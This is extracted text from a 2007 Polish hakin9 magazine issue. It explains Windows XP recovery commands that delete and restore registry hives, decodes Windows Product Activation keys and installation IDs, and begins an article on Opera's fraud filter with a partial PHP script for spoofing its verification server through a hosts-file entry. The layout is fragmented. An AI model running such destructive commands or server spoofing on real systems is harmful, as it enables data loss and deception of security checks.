copy c:\windows\system32\config\sam c:\windows\kopia\sam.bak
copy c:\windows\system32\config\security c:\windows\kopia\security.bak
copy c:\windows\system32\config\default c:\windows\kopia\default.bak
delete c:\windows\system32\config\system
delete c:\windows\system32\config\software
delete c:\windows\system32\config\sam
delete c:\windows\system32\config\security
delete c:\windows\system32\config\default
copy c:\windows\repair\system c:\windows\system32\config\system
copy c:\windows\repair\software c:\windows\system32\config\software
copy c:\windows\repair\sam c:\windows\system32\config\sam
copy c:\windows\repair\security c:\windows\system32\config\security
copy c:\windows\repair\default c:\windows\system32\config\default 

Tabela 1. 

Rozmiar rekordów

Nazwa

Rozmiar

offset

H1

Double word

0

H2

Double word

4

P1

Double word

8

P2

Double word

12

P3

byte

16

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

50

nia  korzystać  będą  z  podstawo-
wej wersji sterowników. Jeżeli po-
mimo  wybrania  tej  opcji  system 
nadal  się  nie  uruchamia,  świad-
czy to o bardzo poważnych błę-
dach  urządzeń  niezbędnych  do 
jego  działania  (dysku  twarde-
go, procesora, pamięci lub płyty 
głównej).

•   Tryb  awaryjny  z  obsługą  sieci 

–  od  poprzedniego  trybu  różni 
się  tym,  że  zostanie  uruchomio-
na obsługa sieci (sterowniki kar-
ty sieciowej i najważniejsze usłu-
gi sieciowe). 

•   Tryb  awaryjny  z  wierszem  pole-

ceń  –  system  zostanie  urucho-
miony  w  trybie  awaryjnym,  ale 
nie  będzie  uruchomiony  graficz-
ny  interfejs  użytkownika.  Ten 
sposób uruchamiania komputera 
może  pomóc  przy  rozwiązywa-
niu poważnych problemów zwią-
zanych z obsługą karty grafiki.

•   Włącz  rejestrowanie  urucha-

miania  –  podczas  uruchamiania 
systemu  w  pliku  rejestrowane 
są  wszystkie  sterowniki  i  usługi 
uruchamiane  przez  system.  Plik 
wynikowy  ntbtlog.txt  umieszczo-
ny zostanie w głównym katalogu 
systemu Windows. 

•   Włącz  tryb  VGA  –  system  jest 

uruchamiany  przy  użyciu  pod-
stawowego sterownika VGA. Ten 
tryb jest przydatny po zainstalo-
waniu  nowego  sterownika  karty 
grafiki,  który  uniemożliwił  prawi-
dłowe uruchomienie systemu.

•   Ostatnia  dobra  konfiguracja 

–  system  zostaje  uruchomiony 
w  tym  stanie,  w  którym  po  raz 
ostatni  użytkownikowi  udało  się 
do  niego  zalogować.  W  rezulta-
cie  wszystkie  zmiany  dokonane 
od  ostatniego  pomyślnego  uru-
chomienia zostaną utracone.

•   Tryb  przywracania  usług  katalo-

gowych  –  opcja  wykorzystywa-
na wyłącznie przy uruchamianiu 
komputerów  pełniących  funkcję 
kontrolera  domeny  umożliwiają-
ca odtworzenie lub przetestowa-
nie działania usług katalogowych 
(ang. Active Directory).

•   Tryb  debugowania  –  specjalny 

tryb  diagnostyczny  umożliwiają-
cy przesyłanie za pośrednictwem 
kabla  szeregowego  informacji  o 
pracy systemu do innego kompu-
tera. 

Kopia bezpieczeństwa

W systemach z rodziny NT zaimple-
mentowano automatyczne tworzenie 
kopii  bezpieczeństwa  najważniej-
szych plików. Lokalizacja tej kopii to 
katalog C:\windows\repair. Wykorzy-
stując konsolę odzyskiwania można 
przeprowadzić  uaktualnienie  znisz-
czonych czy zagubionych plików na 
podstawie ich poprawnych wzorców. 
Osobiście  zalecałbym  zrobienie  ko-
pii  bezpieczeństwa  katalogu  sys-
temowego  na  osobnym  CD  po  po-
prawnym  zainstalowaniu  systemu 
operacyjnego i wszystkich jego ste-
rowników.

Plik boot.ini

Do pliku Boot.ini możemy dostać się na dwa sposoby. Pierwszym jest odkrycie wszyst-
kich plików ukrytych i systemowych. Boot.ini należy szukać w katalogu głównym sys-
temu (w większości przypadków C:\). Sposób drugi: z menu podręcznego ikony Mój 
Komputer wybieramy Właściwości, uaktywniamy zakładkę Zaawansowane, w sekcji 
Uruchamianie i odzyskiwanie klikamy przycisk Ustawienia, po czym wybierając przy-
cisk Edytuj otwieramy plik Boot.ini.

Geneza nazwy Windows

System operacyjny zarządza czterema podstawowymi typami operacji:

•   Uruchamianiem, nadzorem i kończeniem procesów aplikacji. Zadaniem systemu operacyjnego jest wczytanie aplikacji do pamięci i 

jej uruchomienie.

•   Alokacją pamięci. Zadaniem systemu jest przydzielenie aplikacji potrzebnej jej ilości pamięci i zwolnienie obszarów pamięci dłu-

żej nieużywanych. 

•   Operacjami wejścia – wyjścia (I/O) plików. System plików (ang. File System) jest podstawową częścią każdego systemu opera-

cyjnego – funkcjonalność starszych systemów operacyjnych właściwie sprowadzała się do obsługi pamięci masowych.

•   Urządzeniami  wejścia  –  wyjścia.  Ważnym  zadaniem  systemu  operacyjnego  jest  komunikowanie  się  z  urządzeniami  wejścia 

– wyjścia takimi jak karta graficzna, klawiatura czy mysz.

Historia DOS-u (ang. Disk Operating System) rozpoczęła się w 1981 roku, kiedy to mała firma  Microsoft wykupiła od Seattle Compu-
ter Products
 program, który zmodyfikowała tak, aby mógł on pracować na komputerach IBM PC i nazywała go MS DOS. Przez następ-
ne kilka lat produkt ten będzie rozwijany i modernizowany, ale najważniejsza zasada jego działania nie ulegnie zmianie – systemy ope-
racyjne oparte na DOS-ie pozwalały na równoczesną pracę z jednym komputerem, tylko jednemu użytkownikowi, który mógł urucho-
mić dokładnie jeden program.

Zasada ta została złamana w sierpniu 1995 roku wraz z premierą systemu Windows 95. System umożliwiał jednoczesne urucha-

mianie dowolnej liczby aplikacji, z których każda mogła być uruchamiana w oddzielnym oknie – przełączając się pomiędzy oknami 
użytkownik mógł kontrolować pracę każdej aplikacji. Wraz z premierą pierwszego systemu z rodziny NT i pojawieniem się we wrze-
śniu 2001 r. Windows XP (finalnego systemu łączącego w sobie technologie NT, Win98 i ME), pojawiła się możliwość przełączania 
się pomiędzy oknami użytkowników bez potrzeby wylogowywania się z systemu. Firma Microsoft tym samym złamała ostanie ogra-
niczenie, dotyczące liczby jednocześnie pracujących z komputerem osób (Pominięto historię Windows 98, Windows98SE, Windows 
Milenium oraz Windows NT.)

background image

Każdy system ma swoje tajemnice, czy znasz je wszystkie?

hakin9 Nr 10/2007

www.hakin9.org

51

Klucz aktywacyjny

Po pierwszym uruchomieniu – zaraz 
po instalacji systemu – powinno się 
wykonać  jego  aktywację.  Program 
służący do aktywacji odczytuje, wy-
korzystując PID 3.0 (technologię uni-
kalnych  kluczy  produktów),  nume-
ry  seryjne  urządzeń  zainstalowa-
nych w komputerze (karty: sieciowa 
i  graficzna,  napędy:  CD-ROM  oraz 
DVD-ROM,  procesor,  dysk  twardy, 
kontrolery  SCSI  oraz  IDE,  pamięć 
RAM).  Oto  jak  wygląda  przykłado-
wy klucz::

002666-077894-484890-114573-XXXXXX-
XXXXXX-XXXXXX-XXXXXX-XX

(znaczące wyrazy zostały zastąpio-
ne przez X).

W każdym z fragmentów powyż-

szego  ciągu  znajduje  się  cyfra  kon-
trolna – jest to ostatnia liczba z sze-
ściocyfrowego  wycinka  klucza.  Po-
zwala ona odkryć błąd w kluczu, da-
jąc odpowiedź, czy ten jest poprawny. 

Zatem dla pierwszej grupy – 002666 
– cyfrą kontrolną będzie 6, a dla gru-
py następnej – 077894 – cyfra 4.

Wartość kontrolna

W  każdym  ciągu  dostępna  wartość 
kontrolna  jest  tworzona  przez  zsu-
mowanie  pierwszych  pięciu  cyfr  z 
grupy,  następnie  do  otrzymanego 
wyniku  jest  dodawana  suma  cyfr 
znajdujących się na parzystych miej-
scach w tym bloku i jest wykonywa-
ne dzielenie przez 7. A nasza cyfra 
kontrola  to  po  prostu  reszta  z  tego 
dzielenia, która powinna w wypadku 
pierwszej grupy wynosić 6.

Dekodowanie

Usunięcie  cyfr  kontrolnych  pozo-
stawia  nam  41-cyfrowy  numer.  Ten 
dziesiętny 41-cyfrowy numer jest re-
prezentacją  136-bitowej  liczby  typu 
integer  o  dużej  precyzji,  która  jest 
składowana  w  tablicy  o  następują-
cym  porządku  poszczególnych  baj-
tów (Rysunek 2).

Także  i  w  tym  przypadku  zna-

czące cyfry zostały zastąpione XX. 
Liczba 0x oznacza oczywiście nota-
cję szesnastkową.

Deszyfrowanie

Po  zdekodowaniu  kilku  kluczy  moż-
na zauważyć, że najbardziej znaczą-
cy bajt ma zawsze wartość 0x00 lub 
0x01, a reszta liczb ma wartości lo-
sowe.  Dzieje  się  tak  dlatego,  że  16 
młodszych  bajtów  INSTALLATION 
ID
 jest zakodowanych, a najbardziej 
znaczący nie.

Wykorzystany  algorytm  szyfrowa-

nia jest czterokrotnym algorytmem Fe-
istela.  Gdy  ciąg  bajtów  wejściowych 
jest  poddawany  obróbce  przy  pomo-
cy tego algorytmu, jest on dzielony na 
dwie grupy o równej, parzystej liczbie 
bajtów - w tym przypadku jest to naj-
mniej znaczące 16 z 17 bajtów wejścio-
wych. Funkcją szyfrującą jest algorytm 
SHA-1 z kluczami 4 bajtowymi.

Załóżmy,  że  +  oznacza  sumę 

dwóch  bajtów,  ^  oznacza  operację 
XOR, L i R oznacza odpowiednio le-
wy  i  prawy  8-bajtowy  ciąg  wejścio-
wy,  L'  i  R'  są  wynikowymi  połówka-
mi  wspomnianej  funkcji, 

First-8()

 

jest  funkcją,  która  zwraca  pierwsze 
8  bajtów  skrótu  SHA-1,  a  Key  jest 
kluczem. Jedno przejście algorytmu 
wygląda wtedy tak:

 L' = R ^ First-8(SHA-1(L + Key))
 R' = L

Tabela 2. 

Reprezentacja dekodowania

Cyfra

Długość

Reprezentacja

AAAAA

17 bitów

Bity 0 – 16 P1

BBB

10 bitów

Bity 17 – 26 P1

CCCCCCC

28 bitów

Bity 27 – 31 P1 (młodsze 5 bitów)
Bity 0 – 22 P2 (starsze 23 bity)

DDEEE

17 bitów

Bity 23 – 31 P2 (młodsze 9 bitów)
Bity 0 – 7 P3(starsze 8 bitów)

 

Najistotniejsze klucze rejestru Windows

W kluczach Run znajdują się uruchamiane programy:

•   dla wszystkich użytkowników: 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run.

•   dla obecnie zalogowanego użytkownika:

_ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY

W kluczach RunOnce i RunOnceEx zawarte są programy ładowane jednorazowo podczas startu systemu:

•   dla  wszystkich  użytkowników: 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce:  HKEY_LOCAL_

MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

•   dla  obecnie  zalogowanego  użytkownika: 

HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 

HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunOnceE

W kluczach RunServices i RunServicesOnce zawarte są informacje na temat ładowanych i uruchamianych usług systemowych:

•   dla  wszystkich  użytkowników: 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices  HKEY_

LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

•   dla  obecnie  zalogowanego  użytkownika: 

HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\

RunServicesHKEY CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

52

Rezultatem deszyfracji jest 16 nieza-
kodowanych znaków, które razem z 
17-tym  niezakodowanym  bajtem  są 
interpretowane  jako  4  zorganizowa-
ne podwójne słowa z jednym bajtem 
kończącym : H1 i H2 opisują konfigu-
rację sprzętu, która jest wysyłana w 
INSTALLATION ID, P1, P2 i P3 za-
wierają PRODUCT ID.

Product ID

PRODUCT ID zawiera pięć grup cyfr 
dziesiętnych w porządku jak niżej:

AAAAA-BBB-CCCCCCC-DDEEE

Jeżeli poszukasz w rejestrze klucza 
o  nazwie  Product  ID,  możesz  zna-
leźć ID odpowiadający twojej instala-
cji. Okienko About Internet Explorera 
także wyświetli twój Product ID.

Dekodowanie

Zależność  pomiędzy  Product  ID  a 
dziesiętną  reprezentacją  i  jej  dwój-
kowym  odwzorowaniem  w  podwój-
nych  słowach  P1  i  P2  (a  także  baj-
tem  P3)  jest  podsumowana  w  poniż-
szej tablicy:

Znaczenie  każdej  z  pięciu  grup 

cyfr jest udokumentowane w  tabeli 3. 
Jak widać, Raw Product Key odgry-

wa bardzo ważną rolę w generowa-
niu PRODUCT ID.

Product Key

Raw  Product  Key  jest  ukryty  we-
wnątrz Product Key, który jest wydru-
kowany  na  naklejce  rozpowszech-
nianej  z  płytką  dystrybucyjną  Win-
dows XP. Jest on przedstawiony jako 
pięć łańcuchów alfanumerycznych o 
długości 5 znaków każdy:

FFFFF-GGGGG-HHHHH-JJJJJ-KKKKK

Każdy znak jest jedną z 24 cyfr lub li-
ter (B C D F G H J K M P Q R T V W X Y 
2 3 4 6 7 8 9). Bardzo podobnie, jak 
w  przypadku  dziesiętnego  kodowa-
nia  wartości  INSTALLATION  ID,  25 
znaków  określających  Product  Key 
tworzy zakodowaną w systemie ba-
se-24
  dwójkową  reprezentację  Pro-
duct  Key
.  Wynikiem  dekodowania 
Product Key jest liczba całkowita du-
żej precyzji o wielkości w przybliże-
niu  115  bitów,  która  jest  przedsta-
wiana  jako  tablica  15-bajtowa  zapi-
sana w odwrotnym porządku. Jeże-
li zdekodujemy przedstawiony powy-
żej przykład Product  Key, w wyniku 
otrzymamy następującą tablicę (Ta-
bela  6.).  Najmniej  znaczące  4  bajty 

tablicy  zawierają  Raw  Product  Key 
(zapisany  w  odwrotnym  porządku). 
Najmniej  znaczący  bit  jest  usunię-
ty  poprzez  przesunięcie  32  bitowej 
wartości  (0x4595FA6F  –  pamiętaj-
my o odwrotnym porządku !) o jeden 
bit  w  lewo  –  w  rezultacie  Raw  Pro-
duct  Key
  równy  jest  0x22CAFD37 
lub (dziesiętnie) 583728439.

Pozostałe 11 bajtów tablicy two-

rzy  podpis  cyfrowy,  umożliwiający 
weryfikację  autentyczności  Product 
Key
 przy wykorzystaniu szyfrowania 
z kluczem publicznym.

Product Key- Product ID

Trzy najbardziej znaczące cyfry dzie-
siętnej reprezentacji Raw Product Key 
(w  naszym  przykładzie  583)  znajdu-
ją  bezpośrednie  odzwierciedlenie  w 
komponencie  BBB  wartości  PRO-
DUCT  ID
  opisywanej  powyżej.  Aby 
uzyskać  komponent  CCCCCCC
do  pozostałych  sześciu  cyfr  (a  więc 
728439)  dodaje  się  cyfrę  kontrolną. 
Jest  ona  tak  dobierana,  aby  suma 
wszystkich siedmiu cyfr (razem z kon-
trolną)  była  podzielna  przez  siedem. 
W naszym przypadku: 7 + 2 + 8 + 4 + 
3 + 9 = 33, co daje cyfrę kontrolną 2, 
ponieważ: 7 + 2 + 8 + 4 + 3 + 9 + 2 = 
33 + 2 = 35, a 35 jest podzielne przez 
siedem.  Komponent  CCCCCCC  na-
szego  PRODUCT  ID  ma  zatem  po-
stać  7284392.  Dla  celów  weryfikacji 
Product Key można wykorzystać wię-
cej  niż  jeden  klucz  publiczny.  Jeżeli 
nie powiodła się weryfikacja przy po-
mocy pierwszego w kolejności klucza, 

Rysunek 2. 

Reprezentacja bajtowa kodu

Rysunek 1. 

Sterownik PCIIde

background image

Każdy system ma swoje tajemnice, czy znasz je wszystkie?

hakin9 Nr 10/2007

www.hakin9.org

53

brany pod uwagę jest drugi i ewentu-
alnie  następne.  Komponent  DD  Pro-
duct ID
 wskazuje, który z kluczy pu-
blicznych w tej sekwencji zaowocował 
prawidłową  weryfikacją  Product  Key
Ten  mechanizm  może  być  użyty,  by 
umożliwić  generowanie  większej  ilo-
ści ważnych Product Keys z różnymi 
indywidualnymi kluczami prywatnymi. 
Jednakże różne klucze prywatne mo-
gą  także  reprezentować  różne  wer-
sje  produktu.  Product  Key  dla  wersji 
Professional może być podpisany in-
nym kluczem niż Product Key dla wer-
sji Server. komponent DD będzie więc 
wtedy  reprezentować  wersję  produk-
tu.  Reasumując,  poprawny  PRO-
DUCT ID
 z naszego przykładu może 
wyglądać  tak  :  55034-583-7284392-
00123. Wskazuje on, że użyto pierw-
szego w kolejności klucza publiczne-
go (wartość komponentu DD, czyli in-
deksu,  równa  jest  0),  natomiast  jako 
wartość losową obrano 123.

Losowo  wybierany  komponent 

EEE jest przyczyną, dla której mso-
obe.exe
  pokazuje  różny  INSTALLA-
TION  ID
  za  każdym  wywołaniem. 
Ponieważ  wartość  ta  jest  poddawa-
na  szyfrowaniu,  nawet  tak  mała  jej 
zmiana  powoduje  powstanie  kom-
pletnie  różnego  INSTALLATION  ID
Tak  więc  PRODUCT  ID  wysyłany 
podczas aktywacji najprawdopodob-
niej rożni się 3 ostatnimi cyframi od 
tego wyświetlanego w Internet Explo-
rerze i w rejestrze.

(Znaczenie 

wartości 

DD

CCCCCCCC  –  patrz  akapit  Deko-
dowanie).

Konfiguracja sprzętowa

Jak  wspomniałem  wcześniej,  opis 
konfiguracji  sprzętowej  umieszczo-
ny  w  INSTALLATION  ID  jest  repre-
zentowany przez dwa podwójne sło-
wa H1 i H2. Relacje pomiędzy konfi-
guracją sprzętową komputera a bita-
mi w słowach H1 oraz H2 przedsta-
wia Tabela 4. Relacje pomiędzy kon-
figuracją sprzętową komputera a bi-
tami w słowach H1 i H2.

Bit 31 bajtu słowa H2 pokazuje, 

czy notebook obsługuje stacje doku-
jącą. Jeżeli dokowanie jest możliwe, 
mechanizm  aktywacji  będzie  bar-
dziej tolerancyjny na przyszłe mody-

Tabela 4. 

Relacje pomiędzy konfiguracją sprzętową komputera a bitami w 

słowach H1 i H2

Double word

Offset

Długość

Wartość bazuje na

H1

0

10

Numer seryjny wolumenu sys-
temowego

H1

10

10

Adres MAC karty sieciowej

H1

20

7

Ciąg identyfikacyjny napędu 
CD-ROM

H1

27

5

Ciąg identyfikacyjny karty sie-
ciowej

H2

3

6

Numer seryjny procesora

H2

9

7

Ciąg identyfikacyjny dysku 
twardego

H2

16

5

Ciąg identyfikacyjny kontrole-
ra SCSI

H2

21

5

Ciąg identyfikacyjny kontrole-
ra IDE

H2

25

3

Model procesora

H2

28

3

Rozmiar pamięci RAM

H2

31

1

1 = możliwość dokowania

H2

0 = niedokowalny

Tabela 5. 

Wartości liczb dla pamięci RAM

Wartość

Ilość dostępnej pamięci RAM

0

Nie używana

1

Poniżej 32 MB

2

Pomiędzy 32 MB a 63 MB

3

Pomiędzy64 MB a 127 MB

4

Pomiędzy 128 MB a 255 MB

5

Pomiędzy 256 MB a 511 MB

6

Pomiędzy 512 MB a 1023 MB

7

Powyżej 1023 MB

Tabela 6. 

Grupy bitów opisujące sprzęt

0x6F 0xFA 0x95 0x45 0xFC 0x75 0xB5 0x52
0xBB 0xEF 0xB1 0x17 0xDA 0xCD 0x00

Tabela 3. 

Znaczenie cyfr

Cyfry

Znaczenie

AAAAA

Zawsze 55034 (w Windows XP RC1)

BBB

Najbardziej znaczące cyfry Raw Product Key

CCCCCCC

Mniej znaczące cyfry Raw Product Key

DD

Index do kluczy publicznych w celu weryfikacji Product Key

EEE

Losowa wartość

W Sieci

•   http://www.infojama.pl/38,artykul.aspx,
•   http://microsoft.com,
•   http://sciaga.nauka.pl/index.php/id=index/dept=54/cath=221/sc_kat=86/sc_id=1843,
•   http://support.microsoft.com/kb/307545/pl.

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

54

fikacje  sprzętu.  Należy  uwzględnić 
bowiem fakt, że kiedy notebook zo-
stanie zamontowany do stacji doku-
jącej, może się zmienić konfiguracja 
sprzętowa, ponieważ może się tam 
znajdować np. kontroler SCSI.

Wartość  zero  opisująca  dany 

komponent  oznacza,  że  nie  jest  on 
dostępny.  W  innym  przypadku  za-
wiera wartość niezerową.

Komponenty sprzętowe

Wartości  opisujące  sprzęt  uzyski-
wane  są  przy  pomocy  algorytmu 
MD5.  Z  uzyskanego  skrótu  pobiera 
się niezbędną liczbę bitów ze ściśle 
określonych dla danego urządzenia 
lokalizacji. W celu uniknięcia warto-
ści zerowej, uzyskana wielkość kom-
binowana jest z liczbą możliwych do 
zapisania wartości na danej ilości bi-
tów  przeznaczonych  na  identyfika-
cję konkretnego urządzenia:

wartość = (wartośćtemp % BitFieldMax)
 + 1

wartośćtemp uzyskana jest w wyni-
ku  działania  algorytmu  MD5,  x  %  y 
oznacza resztę z dzielenia x przez y, 

BitFieldMax

 – maksymalną wartość 

możliwą  do  przechowania  w  danej 
grupie bitów przeznaczonej na prze-
chowanie  informacji  o  sprzęcie,  np. 
1023  dla  10-bitowego  pola  w  przy-
padku adresu MAC karty sieciowej.

Opis wartości RAM

Wartość  charakteryzująca  ilość  pa-
mięci  RAM  jest  przeliczana  inaczej. 
Istnieje siedem predefiniowanych war-
tości  określających  aproksymowaną 
ilość  pamięci.  Są  one  przedstawione 
w Tabeli 4. Co istotne, wielkość pamię-
ci  jest  określana  poprzez  wywołanie 
funkcji 

GlobalMemoryStatus()

, która po-

daje kilkaset kilobajtów mniej niż obej-
muje  rzeczywiście  dostępna  pamięć. 
Tak  więc  128  MB  fizycznej  pamięci 
zostanie zwykle zaklasyfikowane jako 
pomiędzy 64MB a 127MB.

Czas na rzeczywisty przykład

Jedna z naszych testowych konfigu-
racji dała nam taki wynik:

0xC5 0x95 0x12 0xAC 0x01 0x6E 0x2C 0x32

Skonwertujmy  te  wartości  na  słowa 
H1 oraz H2:

H1 = 0xAC1295C5

i

H2 = 0x322C6E01

Dzieląc oba słowa na grupy bitów 

opisujące sprzęt, otrzymamy:

Modyfikacje sprzętowe

Szukając 

efektów 

modyfikacji 

sprzętowej  po  aktywacji  zainstalo-
wanego systemu Windows XP, moż-
na zauważyć, że główną rolę odgry-
wa tu plik 'wpa.dbl' znajdujący się w 
katalogu  'system32 '.  Jest  to  prosta 
baza danych zaszyfrowana algoryt-

mem RC4, w której jest umieszczo-
ny czas wygaśnięcia aktywacji jak i 
CONFIRMATION  ID,  a  także:  war-
tość [a] dla pola konfiguracji sprzętu 
reprezentująca  bieżącą  konfigura-
cję, wartość [b] dla pola konfiguracji 
sprzętu reprezentująca konfigurację 
w czasie aktywacji.

Podczas gdy wartość [a] jest au-

tomatycznie  uaktualniana  za  każ-
dym  razem,  gdy  konfiguracja  jest 
zmieniana,  [b]  pozostaje  stała.  Za-
tem  [b]  może  być  uważane  za  mi-
gawkę  konfiguracji  sprzętowej  w 
czasie aktywacji produktu. Migawka 
ta nie istnieje przed aktywacją i je-

Tabela 7. 

Słowa podzielone na poszczególne bity

Dw

Offset

Wartość

Znaczenie

H1

0

0x1C5

'1234 – ABCD

H1

10

0x0A5

'00C0DF089E44'

H1

20

0x37

'SCSICDROMPLEXTOR_CD-ROM_PX-
32TS__1.01'

H1

27

0x15

'PCIVEN_102B&DEV
_0519&SUBSYS_
00000000&REV_01'

H2

0

0x1

(nieużywany,ustawiony na 001)

H2

3

0x00

(numer seryjny procesora nie jest do-
stępny)

H2

9

0x37

'SCSIDISKIBM
___DCAS-34330___S65A'

H2

16

0x0C

'PCIVEN_9004&DEV
_7178&SUBSYS
_00000000&REV_03'

H2

21

0x1

'PCIVEN_8086&DEV
_7111&SUBSYS
_00000000&REV_01'

H2

25

0x1

'GenuineIntel Family 6 Model 3'

H2

28

0x3

(system ma 128 MB RAM)

H2

31

0x0

(system nie jest dokowalny)

Literatura

•   Fragmenty ABC systemu Windows XP, wyd. Helion.

O autorze 

Autor jest informatykiem w średniej wielkości firmie, pisze programy i studiuje w Kato-
wicach. Kontakt z autorem: rafalpa@interia.pl

background image

żeli porównamy wielkość pliku wpa.dbl przed i po pro-
cesie aktywacji, dostrzeżemy powiększenie się jego 
rozmiaru. Dzieje się tak dlatego, że migawka jest do-
dawana do bazy. Kiedy trzeba rozsądzić, czy jest po-
trzebna  ponowna  aktywacja,  wartości  dla  pola  kon-
figuracji  sprzętu  [a]  są  porównywane  z  wartościami 
[b], czyli konfiguracja bieżąca jest porównywana z tą, 
która była aktualna podczas aktywacji systemu.

Niedokowalny komputer

W  typowym  przypadku  porównywane  są  wszyst-
kie  bity  obu  wartości  za  wyjątkiem  nieużywane-
go  i  określającego  dokowanie.  Jeżeli  od  czasu  ak-
tywacji zmieniły się więcej niż trzy z dziesięciu pól 
bitowych  w  wartości  [a]  –  co  odpowiada  zmianie 
4  lub  więcej  urządzeń),  wymagana  jest  ponowna 
aktywacja.  Oznacza  to  na  przykład,  że  zmieniając 
dysk twardy, napęd CD-ROM i rozmiar pamięci nie 
jesteśmy zmuszani do reaktywowania systemu. Jed-
nakże jeśli dokonamy kompletnej reinstalacji  Win-
dows XP, informacja [b] ulegnie zniszczeniu i system 
trzeba będzie reaktywować, nawet jeśli nie dokona-
liśmy żadnych zmian w konfiguracji sprzętu.

Dokowalny komputer

Jeżeli wartość bitu 32 wskazuje, że komputer ma sta-
cję dokującą, sprawdzanych jest tylko siedem z dzie-
sięciu pól bitowych (pomijane są: kontroler SCSI, IDE i 
karta graficzna). Niestety, znowu tylko trzy z tych sied-
miu pól mogą się zmienić bez wymuszania ponownej 
aktywacji systemu.

Podsumowanie

W tym dokumencie został opisany proces startu sys-
temu  Windows,  a  także  sposób  aktywacji  systemu 
zaimplementowany  w  Windows  XP.  Ukazano,  jakie 
dane  są  przesyłane  i  jak  zmiany  sprzętowe  wpły-
wają  na  aktywowaną  instalację.  Patrząc  technicz-
nie na działanie Windows Product Activation, wysu-
wamy wniosek, że nie jest ona aż tak problematycz-
na jak się tego spodziewamy. WPA jest jednak dość 
tolerancyjne w stosunku do zmian sprzętowych. Do-
datkowo pola bitowe zapisujące konfigurację sprzę-
tu mają określoną pojemność, wiec wiele urządzeń 
może być określonych przez tę samą wartość. Tak 
więc wiadomo, że CD-ROM PX-32TS jest reprezen-
towany przez wartość 0x37 = 55. Jednak niemożli-
wym jest określenie na podstawie wartości 55, któ-
rą otrzyma Microsoft, że to jest na pewno CD-ROM 
PX-32TS.

W  opozycji  do  wielu  krytycznych  wypowiedzi  na 

temat WPA, uważam, że procedura ta nie przeszka-
dza  zbytnio  w  typowych  modyfikacjach  sprzętu  –  a 
co więcej, respektuje prawo użytkownika do prywat-
ności. l

background image

www.hakin9.org

hakin9 Nr 10/2007

56

Obrona

Z

apewne  sam  Sir  Timothy  Berners-Lee, 
tworząc  podwaliny  pod  protokół  HTTP, 
nie spodziewał się, że jego dziecko bę-

dzie  w  przyszłości  groźną  bronią  w  rękach 
zwykłych kryminalistów.

Celem  poniższego  artykułu  będzie  przyj-

rzenie się, w jaki sposób radzi sobie popularny 
klient protokołu HTTP – przeglądarka interne-
towa Opera – w ochronie nieświadomych użyt-
kowników Sieci przed staniem się ofiarą inter-
netowego oszustwa.

Zagrożenia

Jak  wygląda  oszustwo  w  ujęciu  protokołu 
HTTP? Otóż w najprostszej implementacji po-
lega ono na stworzeniu przez cyberprzestępcę 
spreparowanego  serwisu  internetowego  danej 
instytucji.  Najczęściej  podrabia  się  witryny  in-
stytucji, w których klienci dokonują różnego ro-
dzaju transakcji elektronicznych o charakterze 
finansowym – tzw. e-commerce (np. banki in-
ternetowe, serwisy aukcyjne). 

Zadaniem  spreparowanego  serwisu  jest 

najczęściej  gromadzenie  wrażliwych  danych 
użytkowników,  takich  jak  hasła  dostępu  czy 
kody  autoryzacyjne  do  systemów  bankowości 
internetowej  (w  celu  późniejszego  logowania 

się do nich i wyprowadzania środków pienięż-
nych z rachunków), czy też danych osobowych 
(aby móc je wykorzystać do innych form prze-
stępstw, takich jak kradzieże tożsamości w ce-
lu np. dokonania wymuszenia). Cyberprzestęp-
com  zdarza  się  zamieszczać  na  łamach  fał-
szywych serwisów zwykłe prośby o dokonanie 
wpłat  na  konkretny  rachunek  bankowy.  Przy-
kładem może być tu fałszywy sklep interneto-
wy, w którym należności za kupno towarów są 
regulowane na odmienny w stosunku do orygi-
nalnego rachunek bankowy.

Opera – mechanizmy 

ochrony przed oszustwami

Marcin Kopeć

stopień trudności

Od kilku lat wszyscy jesteśmy świadkami nowej ery w historii 

globalnej sieci Internet. Otóż narzędzie, które początkowo miało 

służyć rozwojowi myśli technicznej, w momencie wkroczenia 

weń wielkiego biznesu spowodowało pociągniecie za nim 

osób chcących w łatwy i szybki sposób wzbogacić się cudzym 

kosztem – mowa tu o internetowych przestępcach.

Z artykułu dowiesz się

•   w jaki sposób działa mechanizm ochrony przed 

oszustwami zaimplementowany w przeglądarce 
internetowej Opera,

•   czy  informacja  dostarczana  użytkownikowi 

przez mechanizm ochronny charakteryzuje się 
dostatecznym poziomem rzetelności?

Co powinieneś wiedzieć

•   znajomość protokołu HTTP – RFC 2616,
•   postawy programowania w PHP, HTML.

background image

www.hakin9.org

Listing 1. 

Zapytanie do serwera weryfikującego (tryb automatyczny)

GET /?host

=

www.hakin9.org

&

ph

=

CrmIXGGAlC7mS455Q2szhQ

==

&

hdn

=

hz3g35Z4i/6JXNonVjl4Mg

==

HTTP/1.1

User

-

Agent

:

 Opera/9.21 

(

Windows NT 5.1

;

 U

;

 pl

)

Host

:

 sitecheck.opera.com

Accept

:

 text/html, application/xml

;

q

=

0.9, 

application/xhtml

+

xml, image/png, image/jpeg, image/gif,

image/x

-

xbitmap, 

*

/

*;

q

=

0.1

Accept

-

Language

:

 pl

-

PL,pl

;

q

=

0.9,en

;

q

=

0.8

Accept

-

Charset

:

 iso

-

8859

-

1, utf

-

8, utf

-

16, 

*;

q

=

0.1

Connection

:

 Keep

-

Alive

Listing 2. 

Prosty skrypt udający działanie serwera weryfikującego

<?

php

/* 
 * Użycie:
 * {na komputerze z Apache/PHP}
 * - zamieść plik jako http://twojastrona.com/index.php
 * - dodaj odpowiedni wpis do pliku hosts, np:
 *   Unix:
 *   echo 'XXX.XXX.XXX.XXX sitecheck.opera.com' >> 
 *   /etc/hosts
 *   Windows:
 *   echo XXX.XXX.XXX.XXX sitecheck.opera.com >> 
